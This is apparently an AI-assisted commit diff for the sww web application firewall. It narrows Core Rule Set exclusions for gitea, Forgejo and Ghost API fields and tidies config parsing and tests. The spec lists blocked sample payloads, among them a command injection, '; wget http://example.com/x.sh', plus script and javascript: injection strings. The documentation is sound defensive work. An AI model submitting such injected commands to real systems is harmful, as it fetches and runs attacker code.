Core Rule Set: the API searches gitea and Forgejo share pass (closes #353)

Recorded with python3, powershell, ls -la, .htaccess, file names and plain
words from gitea 1.27.3 and Forgejo 17.0.1. q on the API's searches of
topics, of an organisation's teams and of emails joins 900603, which skips
930120, 932120, 932250 and 932260. The same four rules are skipped by
query on the search of unadopted repositories (900607) and by name on the
search of a repository's milestones (900608). 900605 also lets /bin/sh
through in q on the API's search of packages, since a package name can
hold a slash. The searches of repositories, users and issues already
passed.

Model: opus-5-5

README.md

@@ -609,9 +609,9 @@ lowers a client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
     - `nextcloud`, whose fixes let through its sync client, its WebDAV methods,
       its searches, its file names, its account names, its comments and its
       documents;
-    - `ghost`, whose fixes let through its filters, its searches, its names, its
-      email addresses, its code injection, its settings and a post saved from
-      its editor, HTML included.
+    - `ghost`, whose fixes let through the text its admin and members type, its
+      analytics, its code injection, ActivityPub and a post saved from its
+      editor, HTML included.
 - A random password, as a password manager makes one, gets through these forms:
     - signing in, signing up, and changing or resetting a password, on
       WordPress, Drupal, MediaWiki, Mastodon, Nextcloud, gitea and Ghost;

SPEC.md

@@ -214,9 +214,9 @@ field gives that name. `refusal_limit` and `byte_limits` give theirs in
       are updated, and the alert thresholds are evaluated.
 
     For a request it refused, `waf` adds nothing to the byte limits. It updates
-    the history and the anomaly counters at its decision. It counts the refusals
-    the refusal limit counts at the decision too (`refusal_limit`; see "Attack
-    detection").
+    the history and the anomaly counters at its decision. A refusal for a rule
+    file match, a trap path or a Core Rule Set match also counts toward the
+    refusal limit at the decision (`refusal_limit`; see "Attack detection").
 
 In `SWW_WAF_MODE=observe`, every refusal above is logged as what would have
 happened, nothing is refused, and `waf` makes no ban of its own. A path under
@@ -883,11 +883,12 @@ one entry of `apps` in `internal/coreruleset/coreruleset.go`. gitea's fixes are:
         which refused `org.apache.commons.logging`.
 
         A branch, tag or package name can hold a slash, as `feat/docker-support`
-        does. So `q` skips the rule for shell paths (932160) too on these pages,
-        where it refused `/bin/sh`:
+        does. So `q` skips the rule for shell paths (932160) too on these
+        searches, where it refused `/bin/sh`:
         - a repository's branches, tags and packages pages;
         - an owner's packages page;
-        - the admin page of packages.
+        - the admin page of packages;
+        - the API's search of packages.
 
     - `q` on gitea's other searches, for the same four rules. Words such as
       `python3`, `powershell`, `ls -la` and `.htaccess` were refused there. The
@@ -902,12 +903,19 @@ one entry of `apps` in `internal/coreruleset/coreruleset.go`. gitea's fixes are:
         - the runner lists of the site, a user, an organisation and a
           repository;
         - the admin lists of users, organisations, repositories, unadopted
-          repositories and emails.
+          repositories and emails;
+        - the API's searches of topics, of an organisation's teams and of
+          emails.
 
         Most send `q` in the query string. The admin forms that adopt a
         repository or activate an email send it in the body. gitea serves its
         admin pages under `/-/admin/` and Forgejo under `/admin/`.
 
+    - Two fields of the API's searches other than `q`, for the same four rules:
+        - `query` of the search of unadopted repositories, which holds an owner
+          and a name, such as `alice/python3-app`;
+        - `name` of the search of a repository's milestones.
+
     - The path of these requests, which names a file:
         - a file's page;
         - its raw file;
@@ -1756,31 +1764,87 @@ Ghost's fixes: on Ghost's paths, some fields skip the rules that refused
 ordinary Ghost requests there. `internal/coreruleset/ghost.conf` lists each rule
 and the request it refused. Ghost's admin and integrations call the Admin API
 under `/ghost/api/admin/`. Themes and Ghost's scripts call the Content API under
-`/ghost/api/content/`, and members call `/members/api/`.
+`/ghost/api/content/`, and members call `/members/api/`. The admin calls
+ActivityPub, a service of its own, under `/.ghost/activitypub/`.
 
-Three query fields skip some rules:
+Eight rules refused words that name commands and files, such as `python3`,
+`ls -la`, `.htaccess` and the title `powershell & python3`. They are 930120,
+932120, 932125, 932230, 932235, 932250, 932260 and 932380.
 
-- `filter`, a query in Ghost's own filter language, skips 932120 on the Admin
-  API and the Content API, so `tag:powershell` passes;
+These query fields skip some rules:
+
+- `filter`, a query in Ghost's own filter language, skips those eight rules
+  except 930120, on the Admin API and the Content API;
 - `search`, a search for a member, skips 930120, 932120, 932250 and 932260 on
   the Admin API;
 - `url`, the address the editor looks up for an embed or a bookmark, skips
-  930120 and 932120.
+  930120 and 932120;
+- `source` and the `utm_` fields, which filter the analytics, skip those eight
+  rules under `/ghost/api/admin/stats/`;
+- `pathname`, the page the analytics show, skips 930120, 932120 and 932260
+  there;
+- `email_segment`, the members a post is sent to as a newsletter, skips 932120
+  on the Admin API's posts;
+- `query`, a search for an account in ActivityPub, skips those eight rules;
+- `email`, when an invitation is checked, skips 930120, 932120 and 932260.
 
-The fields of JSON bodies where a person types plain text skip 930120, 932120,
-932125, 932230, 932250, 932260 and 932380. They are these fields of posts,
-pages, tags, labels, members, newsletters and snippets, on the Admin API:
+The fields of JSON bodies where a person types plain text skip those eight
+rules. They are these fields of posts, pages, tags, labels, members, newsletters
+and snippets, on the Admin API:
 
 - `title`, `name` and `slug`;
 - a post's `tags` and a member's `labels`, by name or slug;
 - `custom_excerpt`, `description`, `note` and `sender_name`;
 - the `meta_`, `og_` and `twitter_` titles and descriptions.
 
-A member's `name` at `/members/api/` skips them too. A member's `email` skips
-930120, 932120 and 932260, at `/members/api/` and when the admin adds or edits a
-member. A staff user's address skips them too: `username` when signing in, and
-`email` when creating the first staff user, asking for a password reset or
-saving a profile.
+These fields on the Admin API skip them too:
+
+- a staff user's `name`, `slug`, `bio`, `location` and `website`;
+- `blogTitle` and `name` when creating the first staff user;
+- `name` when accepting an invitation;
+- `name`, `description` and `benefits` of tiers;
+- `name`, `code`, `display_title` and `display_description` of offers;
+- `title`, `description` and `excerpt` of recommendations;
+- `name` and `description` of integrations, and `name` of webhooks;
+- `feature_image_alt` and `feature_image_caption` of posts and pages.
+
+These fields skip them on their own paths:
+
+- a member's `name` at `/members/api/`;
+- `html` of a member's comment at `/members/api/comments/`;
+- `labels`, when the admin imports members from a CSV file;
+- `content` of a note or a reply in ActivityPub, and `image.altText`, the
+  description of its image;
+- `name`, `username` and `bio` of the account in ActivityPub.
+
+A member's `email` skips 930120, 932120 and 932260, at `/members/api/` and when
+the admin adds or edits a member. A staff user's address skips them too. It is
+sent as `username` when signing in, and as `email` in these requests:
+
+- creating the first staff user;
+- asking for a password reset;
+- saving a profile;
+- inviting a staff user;
+- accepting an invitation.
+
+In ActivityPub, an account's handle and its address skip 930120 and 932120. The
+domain of the site's handle skips 930120, 932120 and 932260. Each field skips
+its rules only on its own path:
+
+- `sourceHandle`, an account that moves here, when it is added at
+  `/.ghost/activitypub/v1/aliases`;
+- `actorUri`, that account's address, when the admin removes it there;
+- `targetHandle`, the account this one moves to, at
+  `/.ghost/activitypub/v1/migration`;
+- `domain`, saved at `/.ghost/activitypub/v1/domain` and checked at
+  `/.ghost/activitypub/v1/domain/validate`.
+
+The `canonical_url` of a post, a page or a tag skips 930120 and 932120, as `url`
+does. Each skips them only on its own path:
+
+- a post's under `/ghost/api/admin/posts/`;
+- a page's under `/ghost/api/admin/pages/`;
+- a tag's under `/ghost/api/admin/tags/`.
 
 The articles carry HTML on purpose. These fields on the Admin API hold them:
 
@@ -1800,12 +1864,14 @@ The articles skip these rules:
 Code injection is the HTML that Ghost adds to the head and the foot of a page.
 These fields on the Admin API hold it:
 
-- `codeinjection_head` and `codeinjection_foot` of posts and pages;
+- `codeinjection_head` and `codeinjection_foot` of posts, pages and tags;
 - `value` of settings, since the site's settings hold its code injection.
 
 Code injection skips these rules:
 
-- 930120, 932120, 932125, 932230, 932250, 932260 and 932380, as plain text does;
+- 930120, 932120, 932125, 932230, 932235, 932250, 932260 and 932380, which
+  refused words that name commands and files, such as the site's title
+  `powershell & python3`;
 - 921130, 941100, 941160 and 941270, which refused `<meta>` and `<link>`
   elements.
 
@@ -1814,15 +1880,22 @@ card can embed a widget and code injection can load analytics. These are the
 fields, on the Admin API:
 
 - `lexical`, `mobiledoc` and `html` of posts and pages;
-- `codeinjection_head` and `codeinjection_foot` of posts and pages;
+- `codeinjection_head` and `codeinjection_foot` of posts, pages and tags;
 - `value` of settings.
 
 `<script>alert(1)</script>` is still refused in snippets and newsletters.
 `javascript:alert(1)` is still refused in the articles and code injection
 (941170 and 941210). Path traversal and SQL injection are still refused in every
 field above. Script injection is too, outside the articles and code injection.
-`; wget http://example.com/x.sh` is still refused in the query fields, the plain
-text and the addresses.
+
+`; wget http://example.com/x.sh` is still refused in these fields:
+
+- the addresses, the handles and the domain;
+- the `canonical_url` of posts, pages and tags;
+- `search`, `url`, `pathname`, `email_segment` and `email`.
+
+The other fields above skip 932235, which refuses that command but also refuses
+`powershell & python3`.
 
 Coraza names a staff user's `profile_image` field `json.users.0.profile_image`.
 That name holds `.profile`, a file on the list of system files, so the name
@@ -2612,13 +2685,14 @@ A path under `/_sww/` that `allow` would pass on is answered `404` instead, so
 that the app never sees that prefix.
 
 `rproxy` cannot pass on an answer whose body is over 1 MiB or whose status is
-below `200`. The visitor gets `502` from `rproxy`, never the default. `rproxy`
-writes a process warning, its log line has no `disposition`, and it sends no
-report.
+below `200`. The visitor gets `502` from `rproxy`, whatever
+`SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` says. `rproxy` writes a process
+warning, its log line has no `disposition`, and it sends no report.
 
 A visitor that goes away while `waf` is being asked is no failure of `waf`.
-`rproxy` closes the connection, with no warning, no default and no report. Its
-log line has status `0` and no `disposition`.
+`rproxy` closes the connection with no warning and no report, and
+`SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` does not apply. Its log line has
+status `0` and no `disposition`.
 
 ### Passing a request to the app
 

docs/settings.md

@@ -304,8 +304,8 @@ the request first.
   A duration.
 - `SWW_WAF_LIMIT_BAN_REPEAT_WINDOW` (default `24h`): the time after a ban ends
   within which breaking a limit again lengthens the next ban. A duration.
-- `SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE` (default `7d`): the longest ban for a
-  broken limit; one that would be longer is permanent. A duration.
+- `SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE` (default `7d`): a ban for a broken limit
+  that would be longer than this is permanent instead. A duration.
 - `SWW_WAF_ATTACK_BAN_DURATION` (default `7d`): the ban for a first clear sign
   of attack. A duration.
 - `SWW_WAF_BAN_SCOPE_V4_PREFIX` (default `32`): how much a ban on an IPv4 client
@@ -454,13 +454,12 @@ asked in the background (see "Answering in time" under "`waf`" in
 start, and an invalid value stops the start. Any can be given as a file, as a
 `SWW_WAF_` setting can. "`rproxy`" in [`SPEC.md`](../SPEC.md) says what they do.
 
-A time here is a whole number of milliseconds above zero, such as `2000`.
-
 - `SWW_RPROXY_WAF_BACKEND` (required, no default): `waf`'s URL. An `http` or
   `https` URL with a host and an optional port, and nothing more. `rproxy`
   speaks HTTP/1.1 to it.
 - `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS` (default `2000`): how long `rproxy` waits
-  for `waf`'s answer, to a question and to a report. A time; never `off`.
+  for `waf`'s answer, to a question and to a report. A time in milliseconds;
+  never `off`.
 - `SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` (default `allow`): what is done
   with a request when `waf` cannot be connected to, does not answer at all, or
   does not answer within `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS`. `allow` passes it
@@ -473,11 +472,12 @@ A time here is a whole number of milliseconds above zero, such as `2000`.
 - `SWW_RPROXY_MAX_REQUEST_TIME_MS` (default `60000`): how long the visitor may
   take to send its request line and headers. It then also bounds, from the end
   of the headers, the time until the app has been sent the whole request. A time
-  or `off`.
+  in milliseconds or `off`.
 - `SWW_RPROXY_MAX_RESPONSE_TIME_MS` (default `1800000`): how long the answer may
   take, from the end of the request to its last byte reaching the visitor. An
   answer `rproxy` gives itself always has at least 10 seconds to be sent, and so
-  do the status and headers of the app's answer. A time or `off`.
+  do the status and headers of the app's answer. A time in milliseconds or
+  `off`.
 - `SWW_RPROXY_LISTEN_ADDR` (default `:8080`): where `rproxy` listens, such as
   `:9000`.
 - `SWW_RPROXY_UPSTREAM_URL` (default `http://127.0.0.1:8081`): the app. An

internal/bans/bans.go

@@ -1,6 +1,6 @@
 // Package bans is the ban ledger: the bans sww makes on the
-// netblocks of clients that break a rate limit, a byte limit or the error
-// burst, show a clear sign of attack or are listed by the CrowdSec
+// netblocks of clients that break a rate limit, a byte limit or the refusal
+// limit, show a clear sign of attack or are listed by the CrowdSec
 // decision list, and
 // those an admin makes, with their notes, as the "Bans" section of SPEC.md
 // describes. The bans are kept in memory, and written to bans.json and
@@ -49,8 +49,8 @@ type Params struct {
 	// CrowdSec's decision, a broken limit counts as a repeat, which bans for
 	// repeatFactor times as long as that ban.
 	LimitBanRepeatWindow time.Duration
-	// LimitBanPermanentAbove is the longest ban for a broken limit; one that would
-	// be longer is permanent instead.
+	// A ban for a broken limit that would be longer than
+	// LimitBanPermanentAbove is permanent instead.
 	LimitBanPermanentAbove time.Duration
 	// AttackBanDuration is how long a first ban for a clear sign of attack
 	// lasts.

internal/bans/bans_test.go

@@ -97,7 +97,7 @@ func TestRepeatWindowRunsOut(t *testing.T) {
 	}
 }
 
-func TestFirstBanLongerThanTheMaximumIsPermanent(t *testing.T) {
+func TestFirstBanLongerThanLimitBanPermanentAboveIsPermanent(t *testing.T) {
 	t.Parallel()
 
 	params := defaultParams()
@@ -114,12 +114,12 @@ func TestFirstBanLongerThanTheMaximumIsPermanent(t *testing.T) {
 	}
 }
 
-func TestLongestBanSetFarOffDoesNotOverflow(t *testing.T) {
+func TestLimitBanPermanentAboveSetFarOffDoesNotOverflow(t *testing.T) {
 	t.Parallel()
 
-	// With bans of up to 100,000 days, the 14th ban in a row, of 3^13
-	// hours, is within the maximum, and three times as long would not fit
-	// in a time.Duration. The 15th is permanent.
+	// With LimitBanPermanentAbove at 100,000 days, the 14th ban in a row, of
+	// 3^13 hours, is not above it, and three times as long would not fit in
+	// a time.Duration. The 15th is permanent.
 	params := defaultParams()
 	params.LimitBanPermanentAbove = 100000 * day
 	ledger := bans.New(params)

internal/config/config.go

@@ -16,6 +16,7 @@ import (
 	"os"
 	"strconv"
 	"strings"
+	"time"
 
 	"github.com/spf13/viper"
 )
@@ -36,7 +37,9 @@ const (
 var (
 	errNotSize = errors.New(
 		"is not a size such as 512K, 100M or 5G, or off")
-	errNotPositive = errors.New("must be more than zero, or off")
+	errNotPositive     = errors.New("must be more than zero, or off")
+	errNotMilliseconds = errors.New(
+		"is not a whole number of milliseconds above zero, such as 2000")
 	errEmptyItem   = errors.New("has an empty item in its list")
 	errNotNetblock = errors.New(
 		"is not a netblock such as 10.0.0.0/8, or an address")
@@ -62,11 +65,10 @@ func Command(v *viper.Viper) (string, error) {
 	}
 }
 
-// environment is where WAFFromEnvironment and RProxyFromEnvironment read
-// the settings: it notes each
-// value for the log, and keeps the first error. It reads every setting
-// through v, the viper NewViper returns, and honours each setting's _FILE
-// form too.
+// environment is where WAFFromEnvironment and RProxyFromEnvironment read the
+// settings: it notes each value for the log, and keeps the first error. It
+// reads every setting through v, the viper NewViper returns, and honours
+// each setting's _FILE form too.
 type environment struct {
 	v        *viper.Viper
 	settings []slog.Attr
@@ -163,6 +165,19 @@ func (e *environment) size(name, defaultValue string) int64 {
 	return size
 }
 
+// milliseconds reads a setting that is a whole number of milliseconds above
+// zero.
+func (e *environment) milliseconds(name, defaultValue string) time.Duration {
+	value := e.value(name, defaultValue)
+
+	duration, valid := parseMilliseconds(value)
+	if !valid {
+		e.check(name, fmt.Errorf("%q %w", value, errNotMilliseconds))
+	}
+
+	return duration
+}
+
 // parseSize reads a number of bytes with an optional K, M or G suffix, in
 // powers of 1024 (1K is 1024 bytes), or off.
 func parseSize(value string) (int64, error) {
@@ -199,6 +214,17 @@ func splitUnit(value string) (string, int64) {
 	}
 }
 
+// parseMilliseconds reads a whole number of milliseconds above zero, and
+// reports whether it is one.
+func parseMilliseconds(value string) (time.Duration, bool) {
+	n, err := strconv.ParseInt(value, 10, 64)
+	if err != nil || n <= 0 || n > math.MaxInt64/int64(time.Millisecond) {
+		return 0, false
+	}
+
+	return time.Duration(n) * time.Millisecond, true
+}
+
 // parseList splits a comma-separated list and trims the spaces around
 // each item. An empty value is an empty list.
 func parseList(value string) ([]string, error) {

internal/config/rproxy.go

@@ -4,7 +4,6 @@ import (
 	"errors"
 	"fmt"
 	"log/slog"
-	"math"
 	"net/netip"
 	"net/url"
 	"strconv"
@@ -64,9 +63,7 @@ var (
 			"such as http://127.0.0.1:8081")
 	errNeedsWAFBackend = errors.New(
 		"is required: it is waf's URL, such as http://waf:8080")
-	errNotDisposition  = errors.New("is not allow or deny")
-	errNotMilliseconds = errors.New(
-		"is not a whole number of milliseconds above zero, such as 2000")
+	errNotDisposition       = errors.New("is not allow or deny")
 	errNotMillisecondsOrOff = errors.New(
 		"is not a whole number of milliseconds above zero, such as 60000, or off",
 	)
@@ -178,19 +175,6 @@ func (e *environment) disposition(name, defaultValue string) string {
 	return value
 }
 
-// milliseconds reads a setting that is a whole number of milliseconds above
-// zero.
-func (e *environment) milliseconds(name, defaultValue string) time.Duration {
-	value := e.value(name, defaultValue)
-
-	duration, valid := parseMilliseconds(value)
-	if !valid {
-		e.check(name, fmt.Errorf("%q %w", value, errNotMilliseconds))
-	}
-
-	return duration
-}
-
 // millisecondsOrOff reads a setting that is a whole number of milliseconds
 // above zero, or off, which is 0.
 func (e *environment) millisecondsOrOff(
@@ -209,17 +193,6 @@ func (e *environment) millisecondsOrOff(
 	return duration
 }
 
-// parseMilliseconds reads a whole number of milliseconds above zero, and
-// reports whether it is one.
-func parseMilliseconds(value string) (time.Duration, bool) {
-	n, err := strconv.ParseInt(value, 10, 64)
-	if err != nil || n <= 0 || n > math.MaxInt64/int64(time.Millisecond) {
-		return 0, false
-	}
-
-	return time.Duration(n) * time.Millisecond, true
-}
-
 // parseUpstreamURL reads the app's URL: http or https, a host and an
 // optional port from 1 to 65535, and nothing else, since the request's
 // own path and query go to the app unchanged.

internal/config/rproxy_test.go

@@ -16,7 +16,7 @@ import (
 // rproxy's settings, by name, and their values in these tests.
 const (
 	wafBackend         = "SWW_RPROXY_WAF_BACKEND"
-	rproxyTimeout      = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS"
+	wafBackendTimeout  = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS"
 	rproxyNoAnswer     = "SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION"
 	rproxyListen       = "SWW_RPROXY_LISTEN_ADDR"
 	rproxyUpstream     = "SWW_RPROXY_UPSTREAM_URL"
@@ -91,7 +91,7 @@ func TestRProxySettingsAreRead(t *testing.T) {
 		rproxyListen:      ":9000",
 		rproxyUpstream:    "http://app:3000",
 		rproxyTrusted:     "192.0.2.0/24",
-		rproxyTimeout:     "150",
+		wafBackendTimeout: "150",
 		rproxyNoAnswer:    "deny",
 		rproxyMaxRequest:  "1K",
 		rproxyMaxResponse: off,
@@ -127,12 +127,12 @@ func TestRProxyInvalidSettingsAreRefused(t *testing.T) {
 		{wafBackend, ""},
 		{wafBackend, "waf:8080"},
 		{wafBackend, "http://waf:8080/path"},
-		{rproxyTimeout, "0"},
-		{rproxyTimeout, "-1"},
-		{rproxyTimeout, off},
-		{rproxyTimeout, "2s"},
-		{rproxyTimeout, "1.25"},
-		{rproxyTimeout, "99999999999999999"},
+		{wafBackendTimeout, "0"},
+		{wafBackendTimeout, "-1"},
+		{wafBackendTimeout, off},
+		{wafBackendTimeout, "2s"},
+		{wafBackendTimeout, "1.25"},
+		{wafBackendTimeout, "99999999999999999"},
 		{rproxyNoAnswer, "maybe"},
 		{rproxyListen, "8080"},
 		{rproxyUpstream, "app"},
@@ -220,11 +220,11 @@ func TestRProxyUnreadableSettingFileStopsTheStart(t *testing.T) {
 
 	for _, path := range []string{filepath.Join(dir, "missing"), dir} {
 		_, err := rproxyConfig(map[string]string{
-			wafBackend:              backendURL,
-			rproxyTimeout + "_FILE": path,
+			wafBackend:                  backendURL,
+			wafBackendTimeout + "_FILE": path,
 		})
 
-		want := rproxyTimeout + "_FILE: cannot be read: "
+		want := wafBackendTimeout + "_FILE: cannot be read: "
 		if err == nil || !strings.HasPrefix(err.Error(), want) {
 			t.Errorf("%s: error %v, want one starting %s", path, err, want)
 		}
@@ -247,7 +247,7 @@ func TestRProxySettingsAreLoggedByName(t *testing.T) {
 	}
 
 	for _, name := range []string{
-		rproxyListen, rproxyUpstream, rproxyTrusted, wafBackend, rproxyTimeout,
+		rproxyListen, rproxyUpstream, rproxyTrusted, wafBackend, wafBackendTimeout,
 		rproxyNoAnswer,
 		rproxyMaxRequest, rproxyMaxResponse, rproxyRequestTime, rproxyAnswerTime,
 	} {

internal/config/waf.go

@@ -27,8 +27,7 @@ import (
 	"sneak.berlin/go/smallwebwaf/internal/remotelog"
 )
 
-// WAF is the settings of `sww waf`. A time or size limit of
-// zero is off.
+// WAF is the settings of `sww waf`. A time or size limit of zero is off.
 type WAF struct {
 	// ListenAddr is where waf listens (SWW_WAF_LISTEN_ADDR).
 	ListenAddr string
@@ -71,21 +70,21 @@ type WAF struct {
 	// most bytes a client's requests may carry in a minute, an hour and a
 	// day (SWW_WAF_BYTES_LIMIT_PER_MINUTE, SWW_WAF_BYTES_LIMIT_PER_HOUR and
 	// SWW_WAF_BYTES_LIMIT_PER_DAY). BytesCounted is which body bytes count
-	// toward them (SWW_WAF_BYTES_COUNTED): response, request or both.
+	// toward them and the byte anomaly thresholds (SWW_WAF_BYTES_COUNTED):
+	// response, request or both.
 	BytesLimitPerMinute int64
 	BytesLimitPerHour   int64
 	BytesLimitPerDay    int64
 	BytesCounted        string
-	// LookupSource is where each client's AS number and country are
-	// looked up (SWW_WAF_LOOKUP_SOURCE): geojs, file, or off for nowhere.
-	// LookupDBPath is the lookup database, the IPinfo Lite file looked up
-	// in while LookupSource is file (SWW_WAF_LOOKUP_DB_PATH), and "" for any
-	// other source. A request waits up to ASNAndCountryLookupTimeout for
-	// its client's first answer from GeoJS while a setting needs it
+	// LookupSource is where each client's AS number and country are looked
+	// up (SWW_WAF_LOOKUP_SOURCE): geojs, file, or off for nowhere.
+	// LookupDBPath is the lookup database, the IPinfo Lite file looked up in
+	// while LookupSource is file (SWW_WAF_LOOKUP_DB_PATH), and "" for any
+	// other source. A request waits up to ASNAndCountryLookupTimeout for its
+	// client's first answer from GeoJS while a setting needs it
 	// (SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS), which cannot be off.
-	// AddLookupHeaders is true when the app is passed the client's AS
-	// number and country in headers
-	// (SWW_WAF_ADD_LOOKUP_HEADERS).
+	// AddLookupHeaders is true when the app is passed the client's AS number
+	// and country in headers (SWW_WAF_ADD_LOOKUP_HEADERS).
 	LookupSource               string
 	LookupDBPath               string
 	ASNAndCountryLookupTimeout time.Duration
@@ -846,7 +845,7 @@ func (e *environment) count(name, defaultValue string) int64 {
 }
 
 // bytesCounted reads the setting that is which body bytes count toward the
-// byte limits: response, request or both.
+// byte limits and the byte anomaly thresholds: response, request or both.
 func (e *environment) bytesCounted(name, defaultValue string) string {
 	value := e.value(name, defaultValue)
 	if value != "response" && value != "request" && value != "both" {

internal/config/waf_test.go

@@ -248,8 +248,8 @@ func (e environment) viper() *viper.Viper {
 	return configtest.Viper(e)
 }
 
-// fromEnvironment reads the settings from env, which must be valid.
-func fromEnvironment(t *testing.T, env environment) *config.WAF {
+// wafFromEnvironment reads waf's settings from env, which must be valid.
+func wafFromEnvironment(t *testing.T, env environment) *config.WAF {
 	t.Helper()
 
 	cfg, err := config.WAFFromEnvironment(env.viper())
@@ -263,7 +263,7 @@ func fromEnvironment(t *testing.T, env environment) *config.WAF {
 func TestDefaults(t *testing.T) {
 	t.Parallel()
 
-	cfg := fromEnvironment(t, environment{})
+	cfg := wafFromEnvironment(t, environment{})
 
 	wantSettings(t, cfg, config.WAF{
 		ListenAddr:                     ":8080",
@@ -334,7 +334,7 @@ func TestDefaults(t *testing.T) {
 func TestNoSingleRequestBreaksAByteLimitAtTheDefaults(t *testing.T) {
 	t.Parallel()
 
-	cfg := fromEnvironment(t, environment{})
+	cfg := wafFromEnvironment(t, environment{})
 
 	rproxy, err := rproxyConfig(map[string]string{wafBackend: backendURL})
 	if err != nil {
@@ -359,7 +359,7 @@ func TestNoSingleRequestBreaksAByteLimitAtTheDefaults(t *testing.T) {
 func TestValuesAsSet(t *testing.T) {
 	t.Parallel()
 
-	cfg := fromEnvironment(t, environment{
+	cfg := wafFromEnvironment(t, environment{
 		listenAddr:                     "127.0.0.1:9000",
 		mode:                           "observe",
 		allowNets:                      "192.0.2.7",
@@ -429,7 +429,7 @@ func TestIPv6GroupPrefixMaxTrackedClientsAndLogLevel(t *testing.T) {
 			48, 500, slog.LevelWarn,
 		},
 	} {
-		cfg := fromEnvironment(t, tc.env)
+		cfg := wafFromEnvironment(t, tc.env)
 		if cfg.IPv6GroupPrefix != tc.prefix ||
 			cfg.MaxTrackedClients != tc.clients ||
 			cfg.LogLevel != tc.level {
@@ -444,7 +444,7 @@ func TestIPv6GroupPrefixFrom32To128(t *testing.T) {
 	t.Parallel()
 
 	for _, length := range []int{32, 128} {
-		cfg := fromEnvironment(
+		cfg := wafFromEnvironment(
 			t,
 			environment{ipv6GroupPrefix: strconv.Itoa(length)},
 		)
@@ -468,7 +468,7 @@ func TestEachLogLevel(t *testing.T) {
 		"warn":  slog.LevelWarn,
 		"error": slog.LevelError,
 	} {
-		cfg := fromEnvironment(t, environment{logLevel: value})
+		cfg := wafFromEnvironment(t, environment{logLevel: value})
 		if cfg.LogLevel != want {
 			t.Errorf(
 				"%s=%s gave %v, want %v",
@@ -484,7 +484,7 @@ func TestEachLogLevel(t *testing.T) {
 func TestByteLimitSettingsAsSet(t *testing.T) {
 	t.Parallel()
 
-	cfg := fromEnvironment(t, environment{
+	cfg := wafFromEnvironment(t, environment{
 		bytesLimitPerMinute: "512M",
 		bytesLimitPerHour:   off,
 		bytesLimitPerDay:    "100000",
@@ -500,7 +500,7 @@ func TestByteLimitSettingsAsSet(t *testing.T) {
 func TestRateLimitExemptPathsAsSet(t *testing.T) {
 	t.Parallel()
 
-	cfg := fromEnvironment(
+	cfg := wafFromEnvironment(
 		t,
 		environment{rateLimitExemptPaths: "/assets/, /favicon.ico"},
 	)
@@ -531,9 +531,9 @@ func TestTrapPathsAndRefusalsLimitPerMinute(t *testing.T) {
 	t.Parallel()
 
 	for _, tc := range []struct {
-		env       environment
-		paths     []string
-		threshold int64
+		env   environment
+		paths []string
+		limit int64
 	}{
 		{environment{}, []string{}, 30},
 		{
@@ -542,16 +542,16 @@ func TestTrapPathsAndRefusalsLimitPerMinute(t *testing.T) {
 		},
 		{environment{refusalsLimitPerMinute: off}, []string{}, 0},
 	} {
-		cfg := fromEnvironment(t, tc.env)
+		cfg := wafFromEnvironment(t, tc.env)
 		if !slices.Equal(cfg.TrapPaths, tc.paths) ||
-			cfg.RefusalsLimitPerMinute != tc.threshold {
+			cfg.RefusalsLimitPerMinute != tc.limit {
 			t.Errorf(
 				"%v gave %v and %d, want %v and %d",
 				tc.env,
 				cfg.TrapPaths,
 				cfg.RefusalsLimitPerMinute,
 				tc.paths,
-				tc.threshold,
+				tc.limit,
 			)
 		}
 	}
@@ -644,7 +644,7 @@ func TestCoreRuleSetSettings(t *testing.T) {
 			},
 		},
 	} {
-		cfg := fromEnvironment(t, tc.env)
+		cfg := wafFromEnvironment(t, tc.env)
 
 		got := config.WAF{
 			CoreRuleSetMode:               cfg.CoreRuleSetMode,
@@ -684,7 +684,7 @@ func TestApps(t *testing.T) {
 			map[string][]string{"cloud.example.com": {gitea, "wordpress"}},
 		},
 	} {
-		cfg := fromEnvironment(t, tc.env)
+		cfg := wafFromEnvironment(t, tc.env)
 		if !reflect.DeepEqual(cfg.Apps, tc.want) {
 			t.Errorf("%v gave %#v, want %#v", tc.env, cfg.Apps, tc.want)
 		}
@@ -705,7 +705,7 @@ func TestUnsetAndEmptyAppsAreLoggedDifferently(t *testing.T) {
 		var out bytes.Buffer
 
 		slog.New(slog.NewJSONHandler(&out, nil)).
-			Info("starting", "settings", fromEnvironment(t, tc.env))
+			Info("starting", "settings", wafFromEnvironment(t, tc.env))
 
 		if !strings.Contains(out.String(), tc.want) {
 			t.Errorf(
@@ -766,7 +766,7 @@ func TestInvalidAppsStopsTheStart(t *testing.T) {
 func TestCoreRuleSetBodyInspectionSizeOf64K(t *testing.T) {
 	t.Parallel()
 
-	cfg := fromEnvironment(
+	cfg := wafFromEnvironment(
 		t,
 		environment{coreRuleSetBodyInspectionSize: "64K"},
 	)
@@ -845,7 +845,7 @@ func TestInvalidCoreRuleSetSettingStopsTheStart(t *testing.T) {
 func TestInstanceNameAndLoggedHeadersAsSet(t *testing.T) {
 	t.Parallel()
 
-	cfg := fromEnvironment(t, environment{
+	cfg := wafFromEnvironment(t, environment{
 		instanceName:      "fsn1app1/blog",
 		logRequestHeaders: " Accept , X-Custom",
 	})
@@ -863,7 +863,7 @@ func TestInstanceNameAndLoggedHeadersAsSet(t *testing.T) {
 func TestRemoteLogSettingsDefaults(t *testing.T) {
 	t.Parallel()
 
-	cfg := fromEnvironment(t, environment{instanceName: instance})
+	cfg := wafFromEnvironment(t, environment{instanceName: instance})
 
 	if cfg.LogRemoteURL != nil || cfg.LogRemoteTLSCAs != nil ||
 		cfg.LogRemoteBufferLines != 10000 || cfg.LogRemoteFacility != 16 ||
@@ -892,7 +892,7 @@ func TestRemoteLogSettingsAsSet(t *testing.T) {
 		t.Fatalf("write %s: %v", caFile, err)
 	}
 
-	cfg := fromEnvironment(t, environment{
+	cfg := wafFromEnvironment(t, environment{
 		logRemoteURL:         "syslog+tls://logs.example:6514",
 		logRemoteTLSCAFile:   caFile,
 		logRemoteBufferLines: "500",
